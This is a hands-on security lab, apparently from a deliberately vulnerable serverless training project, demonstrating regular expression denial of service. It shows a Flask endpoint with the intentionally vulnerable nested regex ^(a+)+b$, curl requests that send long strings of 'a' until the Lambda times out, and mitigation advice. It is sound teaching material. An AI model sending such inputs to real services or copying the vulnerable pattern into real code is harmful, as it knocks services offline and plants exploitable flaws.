Lab: Regular Expression Denial of Service

Objective

Demonstrate how a single HTTP request with a crafted string can exhaust a Lambda function and cause a denial of service.

Why This Matters

Traditional denial of service requires flooding a target with traffic. ReDoS requires a single request. The attacker sends one string that makes the regex engine backtrack exponentially. In serverless, this means:

• The Lambda runs at 100% CPU until timeout
• You pay for every millisecond of that wasted compute
• Legitimate requests to the same function may queue or fail
• No WAF or rate limiter catches it — the request looks normal

Cloudflare experienced a global outage in July 2019 caused by a single bad regex deployed to their WAF. Stack Overflow has also been affected by ReDoS patterns in their input validation.

The Vulnerable Code

The /redos endpoint matches user input against an evil regex:

@app.route('/redos')
def redos():
    user_string = request.args.get('string')
    malicious_regex = "^(a+)+b$"
    match = re.match(malicious_regex, user_string)

The pattern ^(a+)+b$ has nested quantifiers: a+ (one or more a’s) wrapped in ()+ (one or more groups). When the string contains only a characters and no trailing b, the regex engine tries every possible way to split the a’s into groups before concluding there is no match.

Steps

Before you start: make sure you are in the project directory.

cd /workspaces/very-vulnerable-serverless
source ~/.lab-env

Step 1 — Normal request (fast)

curl "$ENDPOINT/redos?string=aaaaaab"

The string aaaaaab matches the pattern. Response time is near zero:

Response time: 0:00:00.000094

Step 2 — Attack: 20 a’s (noticeable)

Remove the b and send 20 a characters:

curl "$ENDPOINT/redos?string=aaaaaaaaaaaaaaaaaaaa"

Response time jumps to ~80ms. The regex engine is backtracking through thousands of combinations.

Step 3 — Attack: 25 a’s (slow)

curl "$ENDPOINT/redos?string=aaaaaaaaaaaaaaaaaaaaaaaaa"

Response time jumps to 2-3 seconds. Each extra a roughly doubles the processing time.

Step 4 — Attack: 28 a’s (timeout)

curl -m 30 "$ENDPOINT/redos?string=aaaaaaaaaaaaaaaaaaaaaaaaaaaa"

The Lambda function hits its timeout. API Gateway returns Internal server error. The function was completely unresponsive for its entire timeout duration — from a single request.

Step 5 — Watch the pattern

Compare the response times across your requests. You will see exponential growth:

Each additional a doubles the computation. This is catastrophic backtracking.

What Happened

The regex ^(a+)+b$ has nested quantifiers. When the input has no b at the end, the engine must try every possible way to divide the a characters into groups before concluding the match fails. With n characters of a, there are 2^n possible groupings to try.

Fix:

• Avoid nested quantifiers like (a+)+, (a*)*, or (a+)*

• Use atomic groups or possessive quantifiers where your regex engine supports them

• Set a timeout on regex operations

• Use tools like safe-regex to lint patterns before deploying

• Next step: Security Review: Serverless Configuration